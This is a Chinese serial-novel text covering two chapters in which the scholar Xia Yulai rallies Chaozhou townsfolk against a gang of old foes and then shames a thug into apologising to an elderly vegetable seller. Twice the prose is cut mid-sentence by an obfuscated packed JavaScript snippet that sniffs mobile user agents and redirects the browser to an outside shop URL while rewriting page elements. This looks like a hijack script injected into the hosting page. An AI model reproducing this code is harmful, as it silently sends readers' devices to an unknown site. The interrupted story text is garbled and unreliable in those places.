菜筐上的露珠还没干,油条在油锅里滋滋作响,铜茶壶咕嘟吐着白雾,叫卖声、还价声、招呼声混在一起,热热闹闹,烟火气十足。经过昨日夏雨来巧戏恶差赵四,百姓们心里那股憋了许久的底气,终于彻底舒展开了。 “你们听说没?夏秀才几句话,就把赵捕快说得乖乖立规矩!”“以后再也不怕被乱抓、乱盘问了!”“有夏秀才在,咱们这街市,比有公差看着还安稳!” 一路走过,人人都在说夏雨来。 夏雨来依旧是那件洗得发白的青布长衫,背着旧书箱,慢悠悠从巷口踱出来。脸上带着几分慵懒,眼底藏着几分狡黠,看上去还是那个穷酸、洒脱、爱管闲事的鬼才秀才。 “夏雨来,这边!” 阿翠远远朝他招手,今日茶摊前格外热闹,不少人都是特意过来,想亲眼见见这位 “公道秀才”。 夏雨来笑着走近,拱手一圈,语气诙谐:“诸位乡亲,这么早就来喝茶?是想听故事,还是想给小生出难题呀?” 众人被他逗得哈哈大笑。 “夏秀才,我们是来谢谢你的!”“有你在,咱们街市安稳多了!” 阿翠把一碗热气腾腾的茶递到他手里,压低声音笑道:“你现在可是咱们东门街的‘活门神’,恶霸不敢来,恶差不敢闹,奸商不敢骗,你这名气,都快盖过府衙老爷了。” “盖过谁可不敢当。” 夏雨来捧着茶碗,指尖一暖,语气坦荡,“小生只求这街上老少平安,本本分分做生意,踏踏实实过日子,别被人欺负,别受冤枉气,就够了。” 他嘴上说得轻描淡写,心里却清楚 —— 连日来斗恶霸、拆鬼秤、破高利贷、平息水井之争、巧戏恶捕快,他在市井之中,已经立起了一块看不见的招牌: 有事找夏雨来,公道不缺,底气不弱。 这份声望,不是靠权势,不是靠钱财,是靠一次又一次为百姓出头、一碗水端平换来的。 可树大招风,名高引忌。 有人敬他,就有人恨他;有人盼他,就有人想压他。 夏雨来眼底闪过一丝不易察觉的沉凝。 他知道,陈老财不会善罢甘休,赵四那样的差人不会真的服气,街市上那些被他整治过的人,更不会心甘情愿认输。 平静之下,暗流正在涌动。 他必须在今日,正式立威。 不是立威风,不是立权势,是立市井规矩、人间公道。 让所有心怀不轨的人明白: 潮州东门街,有夏雨来在,恶不能欺善,强不能压弱,歪不能压正。 二、风波再起,恶人抱团 夏雨来刚喝下半盏茶,街市西口忽然传来一阵异样的骚动。 不是吵架,不是哭闹,是一种让人心里发紧的寂静 —— 所有人都下意识停下手,抬头望去,连呼吸都放轻了。 只见西口路口,缓缓走来几个人。 为首的,正是陈老财的心腹管家周福。他身后跟着的,是昨日被夏雨来戏耍得颜面尽失的捕快赵四。再往后,是被拆穿鬼秤的米店老板钱剥皮、被整治过的地痞刘三刀、赖账被戳穿的赵二混…… 竟然是一群被夏雨来收拾过的人,抱团找上门了! 每个人脸上都带着阴鸷、怨毒、不甘,眼神像刀子一样,直直扎向夏雨来。 百姓们瞬间脸色发白,刚刚热闹起来的街市,瞬间冷了半截。 “完了…… 这些人抱团来了!”“陈老财的人、恶差、奸商、地痞,全凑齐了!”“夏秀才一个人,怎么斗得过这么多人?” 阿翠脸色瞬间惨白,一把拉住夏雨来的胳膊:“夏雨来,快走!他们是冲你来的!人太多了,你斗不过的!” 小贩们纷纷收起摊位,老人孩子慌忙躲开,整条街陷入一片紧张压抑的沉默。 周福走在最前面,阴恻恻一笑,声音尖细刺耳:“哟 —— 这不是大名鼎鼎的夏秀才吗?几日不见,风头很盛啊。” 赵四双手抱胸,腰佩腰刀,眼神傲气十足:“一个穷酸秀才,也敢在潮州城呼风唤雨?今日就让你知道,什么人能惹,什么人,惹不起。” 钱剥皮、刘三刀、赵二混等人,也跟着起哄冷笑:“小子,你得罪的人太多了!”“今日就让你滚出潮州城!永远不准回来!”“给你脸了,还真把自己当青天大老爷?” 一群人围拢上来,气势汹汹,把夏雨来和阿翠的茶摊围在中间,摆明了要当众打压、当众羞辱、当众把他赶出街市。 百姓们吓得不敢出声,却没有一个人真的离开。他们站在不远处,眼神担忧、愤怒、又无力,默默看着夏雨来。 阿翠浑身发抖,却依旧挡在夏雨来身前:“你们别乱来!光天化日,你们想干什么!” “干什么?” 周福冷笑一声,“我们想请夏秀才,给我们一个‘公道’!” 夏雨来轻轻把阿翠拉到身后,向前踏出一步。 依旧是那件青布长衫,依旧是那只旧书箱,依旧是孤身一人。 可他这一步踏出,脊背挺直,眼神清亮,脸上没有半分慌乱,反倒带着几分戏谑的笑意。 “哦?” 夏雨来拖长语调,语气诙谐,却字字清晰,“诸位今日齐聚一堂,不是来给小生道喜的,是来给小生‘出题’的?” “少贫嘴!” 赵四厉声喝道,“你三番五次刁难陈府、戏辱公差、破坏街市生意,今日,你必须给我们一个交代!” “交代?” 夏雨来挑眉一笑,“好啊。小生平生最爱给交代 ——给公道交代,给良心交代,给百姓交代。不知诸位,想要哪种交代?” 三、舌战群凶,以理压邪 周福上前一步,阴鸷的眼神盯着夏雨来:“第一桩!你篡改字据,破坏陈府放贷规矩,害得陈老爷损失惨重,这笔账,怎么算?” 夏雨来淡淡一笑,看向周围百姓,声音清亮: “诸位乡亲都听着。陈老财放高利贷,借五百文,滚成三千二百文,这叫吃人贷。小生只是把‘利上加利’,改成他当众念出的‘利上止利’,救的是一条人命,保的是一个家,破的是坑人陷阱,守的是市井良心。 这账,在天,是天理;在地,是公道;在人,是良心。 请问周管家 ——这账,要怎么算?” 一句话,正气凛然,百姓瞬间心头一振。 周福脸色一僵,说不出话。 赵四立刻接上,厉声喝道:“第二桩!你昨日故意戏耍本官,阻挠公务,让本官颜面尽失,这罪,你认不认?” 夏雨来看向赵四,语气依旧平和: “赵官爷,你昨日无凭无据,要抓无辜老婆婆,是公务,还是扰民?小生夸你尽职尽责,劝你体恤百姓,是阻挠,还是提醒?你当众应下‘无赃不抓、无证不搜’,是失颜面,还是守规矩? 官爷身穿公差服,吃的是官府粮,护的是百姓平安,不是耀武扬威。 你说,这罪,该认给谁?” 赵四被问得哑口无言,脸色涨得通红。 钱剥皮立刻跳出来,指着夏雨来:“第三桩!你拆穿我米店秤具,坏我生意,让我被人唾骂,你安的什么心!” 夏雨来朗声反问: “钱老板,你用鬼秤缺斤短两,从百姓碗里抢米吃,是做生意,还是明抢?小生让你用公平秤,是坏你生意,还是救你良心?你今日还有脸来问我安什么心? 我告诉你 ——我安的是市井良心!” 刘三刀也跟着吼:“第四桩!你当众羞辱我,坏我名声,我要你赔礼道歉!” 夏雨来笑了: “刘三爷,你强占摊位,欺压老伯,是威风,还是霸道?小生让你把摊位还给人家,是羞辱你,还是讲道理?你若行得正坐得端,谁又能坏你名声?名声,是自己做出来的,不是别人给的。” 一个个质问,一句句回击。夏雨来不慌不忙,不怒不躁,一人对一群,舌战群凶,却稳占上风。 每一句,都占理;每一句,都压得对方哑口无言;每一句,都说到百姓心坎里。 围观百姓的腰杆,一点点挺直。眼神里的害怕,一点点变成底气。原本压抑的气氛,一点点被正气点燃。 四、万民撑腰,秀才立威 周福等人越说越慌,越闹越虚。 他们原本以为,一群人抱团施压,一个穷秀才必定吓得跪地求饶、乖乖滚蛋。 可他们万万没想到 ——这秀才嘴利如刀,心稳如山,道理一套接一套,把他们所有人的黑心、霸道、坑人、欺压,全当众扒得干干净净。 周福恼羞成怒,厉声嘶吼:“别跟他废话!今日不把他赶走,我们绝不罢休!给我把他赶出去!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446905|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个恶奴、地痞立刻上前,就要动手。 就在这一瞬间 —— “谁敢动夏秀才!” 一声怒吼,突然从百姓群中炸响。 说话的,是被夏雨来救过的卖菜老伯王伯。 他手持扁担,挺身而出,挡在夏雨来身前。 紧接着 —— “谁敢动!”“我们不答应!” 卖豆腐的阿顺夫妻、被救过高利贷的林阿顺、被平息水井之争的张老根、李老憨、被戏耍恶差时救下的老婆婆、货郎阿福…… 一个接一个,百姓们从退缩、观望,变成挺身而出。 老人、妇人、小贩、挑夫、手艺人……几十上百人,齐刷刷站到夏雨来身前,张开手臂,结成一道人墙。 “夏秀才是为我们出头!”“他救过我们的命,保过我们的家!”“你们要赶他走,先从我们身上踏过去!” 声音越来越大,越来越齐,越来越有力量。 万民撑腰,声震街市。 周福、赵四、钱剥皮、刘三刀等人,瞬间脸色惨白,连连后退。 他们能欺负一个人,能欺压弱小,可他们不敢、也不能,跟整条街市的百姓为敌。 赵四下意识摸了摸腰刀,却不敢拔。法不责众,真闹起来,他第一个丢官。 周福吓得浑身发抖,眼神怨毒,却再也不敢放肆。 夏雨来站在百姓身后,看着眼前这一幕,眼底微微一热。 他这一生,不求功名,不求利禄,这一刻,万民撑腰,足矣。 他向前踏出一步,站到百姓身前,抬手示意大家安静。 声音清亮,正气浩然,传遍整条街: “诸位乡亲,多谢大家信任。小生今日,借此机会,正式立威 —— 我夏雨来,在此潮州东门街,不做官,不做贼,不做恶,不做奴。只做百姓的公道人,只做市井的守规人。 今日,我立三条规矩: 第一,恶霸不可欺市,奸商不可短秤,恶差不可扰民,赖账不可吞本,高利贷不可吃人。 第二,百姓有事可以找我,再小的事,我管;再大的恶,我斗。 第三,** 我不惹事,也不怕事。谁若敢再欺压百姓,我一人挡在前,万民撑在后,定让他身败名裂,无处藏身!” 三句规矩,朗朗上口,正气冲天。 百姓齐声高呼:“好!”“听夏秀才的!”“有夏秀才,我们不怕!” 呼声震天,气势如虹。 周福等人面如死灰,再也不敢多留一句。 “我们走!” 周福咬牙切齿,带着一群人,灰溜溜狼狈逃窜。 赵四也不敢再摆官威,低着头,混在人群里逃走。 一群来势汹汹的恶人,就这样,在万民撑腰、秀才立威之下,一败涂地。 五、市井定盘,侠名永传 恶人退去,街市重回热闹。 百姓们围拢上来,对着夏雨来拱手作揖,感激不尽。 “夏秀才,你是我们的主心骨!”“从今往后,我们就听你的!”“有你在,我们日子安稳!” 夏雨来拱手回礼,语气诙谐又温暖: “诸位,不是我厉害,是公道厉害,是人心厉害。我一个人,站不住;可大家一条心,就能站稳整条街,站稳一辈子。” 阿翠端来热茶,眼睛亮晶晶的,满是崇拜:“夏雨来,你今日一战,彻底立威了。以后,这潮州城,谁都知道,东门街有个惹不起的鬼才秀才。” 夏雨来接过茶,笑道:“我不是惹不起,是歪风邪气惹不起公道人心。我立的不是我的威,是市井的规,是百姓的胆。” 他望向眼前这条热热闹闹、平平安安的街市,眼神清澈而坚定: “阿翠娘子,你看。恶霸退散,恶差收敛,奸商守法,邻里和睦,百姓安稳。 这,就是我夏雨来,想要的市井,想要的人间,想要的一生所愿。” 风一吹,青布长衫轻扬。穷秀才的身影,在晨光中,挺拔如竹。 百姓的欢呼声,市井的烟火气,茶香、饭香、菜香,混在一起。 自此一役,夏雨来 “鬼才秀才” 之名,彻底扎根潮州城。 一人立规,万民安心,市井定盘,侠名永传。 而他的市井侠义传奇,才刚刚走向最热闹、最坦荡、最人心所向的一章。 11. 巧护菜摊 一、晨雾微凉,菜摊生危 天刚蒙蒙亮,春雾像一层薄纱,把潮州城东门的长街裹得温润又安静。青石板路被夜露浸得微凉,踩上去软润无声,屋檐垂落的水珠 “嗒、嗒、嗒” 敲在竹筐边缘,和着远处挑夫扁担的 “吱呀” 声,凑成一曲最舒缓的市井晨曲。 王伯的菜摊,永远是整条街上最早开张的那一个。 老人今年六十有七,背有点驼,手掌粗糙得像老竹根,指关节粗大变形,那是一辈子弯腰种菜、挑担卖菜留下的印记。他无儿无女,老伴走得早,一个人守着城外一小块菜地,起三更、摸黑出门,挑着两大筐最新鲜的青菜、萝卜、油麦菜进城,一文一文地攒钱,养活自己。 王伯人老实,嘴笨,不会吆喝,不会还价,更不会争抢好位置。他总把摊子摆在街口最偏、最不起眼的角落,菜摆得整整齐齐,叶子上的露水都舍不得抖掉,看着就让人心里舒坦。可也正因如此,他成了街上一些地痞流氓最容易拿捏的软柿子。 今日雾还没散尽,麻烦就先一步上门了。 三个流里流气的地痞,歪戴着帽子,斜挎着布包,晃悠着两条腿,吹着不着调的口哨,大摇大摆直奔王伯的菜摊而来。为首的那个,左脸一块癞疤,街上人都叫他癞三,是刘三刀手下的小喽啰,平日里游手好闲,专挑老人、妇女、小贩欺负,白吃白拿是家常便饭,不给就掀摊子、骂人、吓唬人。 癞三走到菜摊前,连看都不看王伯一眼,伸手就往筐里抓了两颗大白菜,往腋下一夹,嘴里还叼着一根青菜梗,含糊不清地嚷嚷:“老头,今儿个哥几个没吃早饭,先拿你两棵菜垫垫肚子!” 他身后两个跟班也跟着起哄,一人抓了一把香葱,一人捞了几颗白萝卜,嬉皮笑脸,毫无顾忌。 “哎…… 几位爷……” 王伯急得手都抖了,连忙上前一步,佝偻着腰,声音又小又怯,“这菜…… 这菜是要卖钱的…… 我一个老人家,不容易……” “不容易?” 癞三猛地转过头,三角眼一瞪,脸上的癞疤跟着扭曲起来,抬脚就往菜筐沿上踹了一脚,“砰” 的一声,筐里的青菜撒出来好几棵,滚在湿漉漉的石板上,瞬间沾了泥。“在这东门街,哥几个吃你两棵菜,那是给你面子!你还敢跟我提不容易?再啰嗦,信不信我把你这破摊子给你掀了,让你一根菜都卖不出去!” 两个跟班也立刻上前一步,横眉竖眼,气势汹汹:“掀了!掀了!老东西,别给脸不要脸!” 王伯看着撒在地上的青菜,那是他半夜起来浇水、施肥、亲手摘下来的心血,如今就这么被踩在泥水里,心疼得眼眶都红了。他想上前捡,又怕被打,想理论,又不敢大声,只能攥着衣角,浑身发抖,眼泪在眼眶里打转,却不敢掉下来。 “我…… 我真的不容易……” 老人声音哽咽,几乎细不可闻。 周围已经陆续有摆摊的小贩、早起的行人路过,看到这一幕,个个都停下脚步,脸上露出愤怒又无奈的神色。 “太过分了,又欺负王伯!”“癞三这伙人,真是狗改不了吃屎!”“王伯一个孤老头,就靠这点菜活命,他们也下得去手!” 可议论归议论,却没有一个人敢上前阻拦。 谁都知道癞三这伙人是泼皮无赖,没底线、没廉耻,得罪了他们,日后天天来摊子上捣乱,生意就别想做了。多一事不如少一事,百姓们只能在心里叹气,敢怒而不敢言。 癞三听到百姓的议论,非但不收敛,反倒更加嚣张,叉着腰,对着周围嚷嚷:“看什么看?再看把你们眼睛都挖了!老子在这吃东西,关你们屁事!” 就在王伯绝望、百姓憋屈、癞三得意忘形的这一刻 —— 一个清亮、舒缓、带着几分戏谑,却又格外安定人心的声音,从晨雾深处慢悠悠飘了过来,像一阵清风,轻轻吹散了街上的压抑与戾气: “哎呀呀 —— 大清早的,不去干活谋生,反倒在街口欺负一位年过花甲的老人家,抢菜、踹筐、吓唬人。几位兄弟,这威风耍得,可真是‘英雄好汉’所为啊,小生平生罕见,实在佩服。” 声音不大,却字字清晰,入耳舒服,不刺耳、不呛人,却偏偏带着一股让人无法忽视的力量。 所有人同时循声望去。 只见晨雾之中,一道青布长衫的身影,负手而行,步履从容,慢悠悠从街口走来。 衣衫依旧洗得发白,袖口磨出细毛,脚下布鞋干净整洁,背上那只旧书箱不离不弃,眉眼弯弯,嘴角噙着一抹淡淡的笑,一双眼睛亮得像浸在晨露里的星辰,通透、狡黠,又藏着不容侵犯的正气。 不是别人,正是这几日在东门街声名鹊起、专管不平事的鬼才秀才 ——夏雨来。 二、秀才登场,轻语镇场 夏雨来今日起得比往日稍晚一些。 前一日他刚在街市正威,舌战群凶,压下陈老财一伙人的气焰,让百姓们扬眉吐气,自己也耗了不少心神。一觉醒来,晨雾已浓,他简单收拾一番,背着书箱出门,打算先到阿翠的茶摊喝碗热茶,再在街上闲逛一圈,看看市井是否安稳。 可刚走到街口,就听见这边的喧闹,一眼便看清了全貌。 夏雨来脚步未停,依旧从容不迫地走到菜摊前,站定在癞三与王伯之间,正好将瘦弱的王伯护在自己身后。 这个站位,看似随意,实则心意分明 ——我站在这里,你们要动他,先过我这一关。 王伯躲在夏雨来身后,感受到身前这道不算宽厚却异常安稳的背影,紧绷的身体微微一松,慌乱的心,瞬间安定了大半。他抬起布满皱纹的脸,看着夏雨来的背影,眼眶一热,差点哭出声。 连日来,夏雨来为百姓出头、斗恶霸、治奸商、平息纷争的事迹,早已传遍街头巷尾。在王伯这样的老实人心里,夏雨来早已不是一个普通的穷秀才,而是能为他们遮风挡雨的 “公道人”。 癞三上下打量了夏雨来一番,见他一身破旧长衫,文弱书生模样,顿时嗤之以鼻,满脸不屑:“我当是谁呢,原来是个穷酸秀才。怎么,你也想管老子的闲事?我看你是书读多了,读傻了吧!” 他身后两个跟班也立刻跟着哄笑:“哈哈哈哈,穷秀才也敢管闲事!”“小子,别多管闲事,不然连你一起揍!” 夏雨来却半点不恼,脸上笑意不变,对着癞三拱手一揖,动作斯文有礼,语气谦和又诙谐:“这位兄台说笑了。小生夏雨来,一介穷秀才,别的本事没有,就爱管管市井闲事,讲讲人间道理。兄台大清早的,不去谋生赚钱,反倒在这里抢老人的菜、踹老人的摊,这可不是谋生之道,是亏德之道啊。” “亏德?” 癞三像是听到了天大的笑话,伸手就想推搡夏雨来,“我看你是找死!老子的事,用得着你一个书呆子来教我?” 他的手刚伸到一半,夏雨来眼皮都没抬,只是轻轻往后退了一小步,语气依旧平静,却字字清晰,带着一股无形的压力: “兄台,动手之前,最好想清楚。你现在推的,是一个手无寸铁的书生;你欺负的,是一个无儿无女的老人。光天化日,朗朗乾坤,街上上百双眼睛看着,上百只耳朵听着。你一动手,性质就变了 ——从白吃白拿,变成当街抢劫、欺凌老弱、行凶伤人。” 夏雨来顿了顿,目光平静地看向癞三,语气淡淡,却直击要害:“兄台混市井,应该知道,官府最恨的就是当街行凶、欺压百姓。真把事情闹大,捕快一来,人证物证俱在,板子打在身上,枷锁戴在颈间,大牢住上十天半个月,值得吗?” 他每说一句,癞三的脸色就变一分。 癞三虽然浑,虽然泼皮,却不是真的不要命。他欺负人,是专挑软柿子捏,是欺软怕硬,真要闹到官府、蹲大牢,他第一个害怕。 伸出的手,硬生生停在半空,进也不是,退也不是,尴尬至极。 夏雨来把他的慌乱看在眼里,心里暗暗一笑。 对付这种地痞流氓,硬碰硬绝对不行。他们人多,又敢下手,他一个文弱书生,真打起来肯定吃亏。 对付他们,最好的办法就是敲山震虎、以理压人、以法慑心。他们不怕讲道理,不怕凶横,就怕吃官司、丢自由、受皮肉之苦。 夏雨来见状,立刻趁热打铁,语气放缓,给癞三一个台阶下:“兄台,小生知道,你也不是真的想欺负人,就是一时糊涂,想占点小便宜。可这便宜,不能从老人身上占,不能从活命钱里占。王伯一把年纪,种菜挑担,起早贪黑,一天卖菜赚不了几文钱,你拿他两棵菜,踹他一脚筐,他可能就要饿上一天肚子。于心何忍呢?” 这番话,软中带硬,情中带理,既给了癞三颜面,又点破了他的不对。 周围的百姓听了,纷纷点头,议论声渐渐大了起来,不再是压抑的低语,而是带着明显的同情与支持:“秀才说得对!太对了!”“癞三,你就放过王伯吧!”“人家一个老人家,真的不容易!” 人多势众,气势一顺,癞三的气焰,瞬间又矮了半截。 他脸色一阵青一阵白,咬着牙,狠狠瞪着夏雨来:“你…… 你个穷秀才,少在这里给我大道理!今天算我倒霉,我不跟你一般见识!” 说着,他就想把夹在腋下的白菜随手一丢,带着跟班走人,想就此下台。 可夏雨来却轻轻开口,拦住了他:“兄台留步。” 癞三猛地回头,怒目圆睁:“你还想怎么样?得寸进尺是不是!” 三、巧施小计,根治顽疾 夏雨来微微一笑,语气依旧平和:“小生不想怎么样,也不想为难兄台。只是这摊子,被兄台踹散了,菜撒了一地,就这么走了,不合适吧?” 癞三脸色一沉:“你想让我赔?我告诉你,没钱!” “小生不要你赔钱。” 夏雨来摇摇头,语气诙谐,“小生知道兄台手头紧,不然也不会来抢老人的菜吃。钱,一分不用赔,菜,也不用还。” 癞三一愣,有点摸不着头脑:“那你想干什么?” 不仅癞三懵了,周围的百姓也全都愣住了。 不让赔钱,不让还菜,那拦住人干什么?这秀才,葫芦里到底卖的什么药? 夏雨来看着一脸疑惑的癞三,脸上笑意更浓,眼神狡黠如狐,缓缓开口:“小生只想请兄台,帮王伯做三件小事。做完这三件事,今日之事,一笔勾销,小生绝不追究,百姓也不再议论,从此以后,你走你的阳关道,王伯过他的独木桥,互不打扰,你看如何?” 癞三眉头紧锁,心里犯嘀咕。这穷秀才,不打不骂不追究,反倒让他帮忙做事?天底下还有这种好事? 他心里虽然疑惑,可眼下骑虎难下,不答应也得答应,索性硬着头皮问:“哪三件事?你说!要是太麻烦,我可不干!” 夏雨来伸出一根手指,慢条斯理地说:“第一件事,把地上撒落的青菜,全部捡起来,擦干净泥土,放回筐里,摆得整整齐齐。” 癞三脸色一僵。让他一个地痞,蹲在地上捡菜、擦泥,这也太丢人了! 可他一看周围上百双眼睛盯着,又看看夏雨来平静却不容置疑的眼神,不敢拒绝,只能咬咬牙:“…… 好!我捡!” 他极不情愿地蹲下身,捡起地上沾了泥的青菜,用袖子胡乱擦了擦,往筐里放。两个跟班见状,也只能跟着蹲下来帮忙。 百姓们看着平日里嚣张跋扈的地痞,此刻蹲在地上捡菜,个个心里暗爽,却又不敢笑出声,只能强忍着。 夏雨来看着他们手忙脚乱的样子,心里暗暗好笑,却依旧一本正经地提醒:“兄台,轻点擦,别把菜叶擦破了,破了就卖不出去了。王伯不容易,手下留情。” 癞三气得牙痒痒,却又不敢发作,只能憋着一肚子气,乖乖照做。 片刻之后,地上的青菜全部捡完,摆得整整齐齐。 夏雨来满意地点点头,伸出第二根手指:“第二件事,帮王伯把菜摊整理好,筐子摆正,扁担放好,让摊子恢复原样。” 这一次,癞三没有再多说,憋着气,动手整理菜摊。他长这么大,从来没干过这种细致活,笨手笨脚,一会儿碰倒筐,一会儿弄歪扁担,看得周围百姓差点笑出声。 好不容易把摊子整理妥当,看上去整整齐齐,和一开始一模一样。 夏雨来这才伸出第三根手指,语气清亮,朗声说道:“第三件事,也是最重要的一件事。请兄台带着你的两位兄弟,对着王伯,对着街上所有百姓,大声说三句话:第一句:我不该欺负老人;第二句:我不该白拿东西;第三句:以后再也不来捣乱。” 这话一出,全场瞬间安静。 癞三猛地抬起头,眼睛瞪得溜圆,脸色涨得通红,又羞又怒:“你…… 你耍我!让我当众说这种话,我以后还怎么在东门街混!” 他身后两个跟班也立刻炸了:“不行!绝对不行!太丢人了!”“秀才,你别太过分!” 夏雨来却脸色一正,收起笑容,语气严肃,却依旧带着诙谐:“兄台,小生这不是耍你,是救你。你想想,你今日欺负老人、白拿东西,街上百姓都看在眼里,记在心里。你若是不认错,日后大家见到你,都会指着你的脊梁骨骂:‘看,就是他,欺负老人的癞三!’你走到哪里,都会被人嫌弃,被人看不起,连生意都做不了,朋友都不敢跟你亲近。 可你若是当众认个错,说几句软话,大家反而会觉得:‘哦,原来癞三也不是真的坏,就是一时糊涂,知道错了就好。’人心都是肉长的,你给百姓一个面子,百姓就给你一条路子。这不是丢人,是给自己留后路。” 他顿了顿,语气放缓,语重心长:“兄台,你年纪轻轻,有手有脚,有力气,干什么不能谋生?非要靠欺负人、白拿东西过日子?今日你认个错,改了坏毛病,以后踏踏实实干活,堂堂正正做人,不比当地痞、被人骂、被人嫌强得多?” 一番话,入情入理,软中带硬,既点破了他的处境,又给了他改过自新的机会。 癞三站在原地,低着头,沉默不语。 长这么大,从来没有人跟他说过这些话。所有人都骂他是地痞、无赖、混账,避之唯恐不及,只有眼前这个穷秀才,不打他、不骂他、不嫌弃他,反而给他讲道理、给他指路子、给他留脸面。 他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446906|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里那层坚硬冰冷的外壳,第一次,出现了一丝裂痕。 他混市井、当流氓、欺负人,说到底,不过是因为家里穷,没读过书,没人管教,只能靠耍横混口饭吃,内心深处,何尝不想被人高看一眼,何尝不想堂堂正正做人? 夏雨来看着他动摇的神色,知道时机已经成熟,再次给了他一个台阶:“兄台,小生知道你是个要面子的人。这样吧,你声音不用太大,让王伯和周围几位乡亲听见就行,不用让所有人都知道。只要你说了,今日之事,彻底了结,从此以后,小生保证,再也不提今日之事,如何?” 癞三沉默了许久,许久。 终于,他抬起头,脸上的嚣张与戾气消失不见,取而代之的是一种复杂、尴尬,又带着一丝释然的神色。 他咬了咬牙,看着王伯,又看了看周围的百姓,声音不大,却异常清晰,一字一句地说道: “我…… 我不该欺负老人。”“我…… 我不该白拿东西。”“我…… 以后再也不来捣乱。” 他身后两个跟班,也只能跟着,小声重复了一遍。 话音落下。 全场安静一瞬,随即爆发出一阵压抑不住的掌声与欢呼声! “好!说得好!”“知错能改,还是好样的!”“太好了!王伯以后终于能安心卖菜了!” 掌声雷动,响彻街口。 癞三站在掌声里,脸上一阵发烫,心里却莫名地,有一种从未有过的轻松与踏实。原来,不欺负人、不耍横、认个错,竟然这么舒坦。 四、一语震慑,永绝后患 夏雨来见事情圆满解决,脸上重新露出笑容,对着癞三拱了拱手:“兄台果然是痛快人,知错能改,善莫大焉。小生佩服。” 癞三有些不好意思地挠了挠头,对着夏雨来拱了拱手,语气真诚了许多:“秀才…… 今天多谢你。我癞三活了二十多年,今天才算明白,以前做的事,有多混账。” “明白就好。” 夏雨来笑着点头,语气温和,“以后好好做事,踏踏实实过日子,比什么都强。若是以后遇到难处,没饭吃、没活干,也可以来找小生,小生虽然穷,却能给你指条正路。” 癞三心中一暖,重重地点了点头:“我记住了!秀才!” 夏雨来拍了拍他的肩膀,语气突然压低,声音不大,却带着一股不容置疑的威慑力,只有癞三三人能听见:“不过,兄台,丑话说在前面。今日小生给你留足了脸面,给了你改过自新的机会。若是以后,你再犯老毛病,再来欺负王伯,再来骚扰小贩,再来街上捣乱 ——小生就不会像今日这么客气了。 我会把你今日做的事、说的话,原原本本,告诉捕快,告诉府衙,告诉街上所有百姓,让你无处藏身,让你付出代价。你信不信?” 最后一句,语气平静,却带着一股慑人的力量。 癞三浑身一寒,下意识打了个寒颤,连忙点头,语气恭敬又坚定:“我信!我信!秀才你放心,我癞三对天发誓,以后再也不做混账事,再也不来街上捣乱!若是违背誓言,天打雷劈,不得好死!” 夏雨来满意地点点头:“好,我信你。去吧。” 癞三如蒙大赦,对着夏雨来深深一揖,带着两个跟班,转身就走。这一次,他们不再是晃悠、嚣张、嬉皮笑脸,而是低着头,脚步匆匆,灰溜溜地消失在街口,再也没有了往日的气焰。 看着癞三三人的背影彻底消失,街上的百姓,终于爆发出真正的、毫无顾忌的欢呼与掌声! “太好了!终于把这伙人治服了!”“夏秀才太厉害了!几句话,就把地痞治得服服帖帖!”“以后王伯终于能安心卖菜了!我们也能安心做生意了!” 百姓们围拢上来,对着夏雨来拱手作揖,感激不尽,称赞不绝。 王伯拉着夏雨来的手,老泪纵横,双腿一软,就要跪下:“秀才老爷…… 谢谢你…… 你真是我的救命恩人…… 我下辈子做牛做马,也要报答你!” “哎 —— 使不得!万万使不得!” 夏雨来连忙扶住老人,死活不让他下跪,语气又正经又诙谐,“王伯,你这一跪,可是要折煞小生了!小生只是动了动嘴皮子,举手之劳而已,不值当,不值当!” “不是举手之劳!” 王伯老泪纵横,“你是救了我的命啊!没有你,我这摊子今天就被掀了,我真的活不下去了……” “王伯,以后别这么说。” 夏雨来扶着老人坐到小板凳上,语气温和,“以后再有谁欺负你,谁骚扰你,你就大声喊我的名字,我随叫随到。这东门街,有我夏雨来在,就不会让老实人受欺负。” 一番话说得坦荡、正气、诙谐有力,瞬间赢得了所有人的心。 百姓们纷纷点头,一个个把 “夏雨来” 三个字,牢牢刻在心里。 五、市井安稳,侠心不改 晨雾渐渐散去,阳光穿透云层,洒在东门街的青石板路上,暖洋洋的,一片光明。 王伯的菜摊重新摆得整整齐齐,青菜水灵,萝卜新鲜,看上去格外喜人。老人脸上重新露出了笑容,一边整理菜叶,一边不停地对着来往行人念叨:“多亏了夏秀才…… 多亏了夏秀才啊……” 夏雨来站在菜摊旁,看着老人安稳的笑容,看着街上恢复平静的景象,心里也暗暗松了口气。 他今日这一计,看似简单,实则步步为营。不打、不骂、不硬刚,先以法慑心,再以理服人,后给颜面,留退路,最后再威慑一句,永绝后患。既治了地痞,又护了老人,还不伤和气,不结死仇,这才是市井之中,最稳妥、最高明的办法。 阿翠端着一碗热茶,从茶摊走过来,递给夏雨来,眼睛亮晶晶的,满眼都是敬佩与崇拜:“夏雨来,你真是个鬼才。对付癞三这种地痞,别人要么躲,要么忍,要么硬碰硬吃亏,只有你,不打不骂,几句话,一个小计,就让他乖乖认错,还保证再也不来捣乱。” 夏雨来接过热茶,指尖一暖,仰头喝下小半盏,浑身舒坦,笑着摆手:“娘子过奖了。小生不是厉害,是地痞最怕吃官司,百姓最信公道。我只是把公道说出来,把他们的害怕点出来,把他们的脸面留出来,仅此而已。” 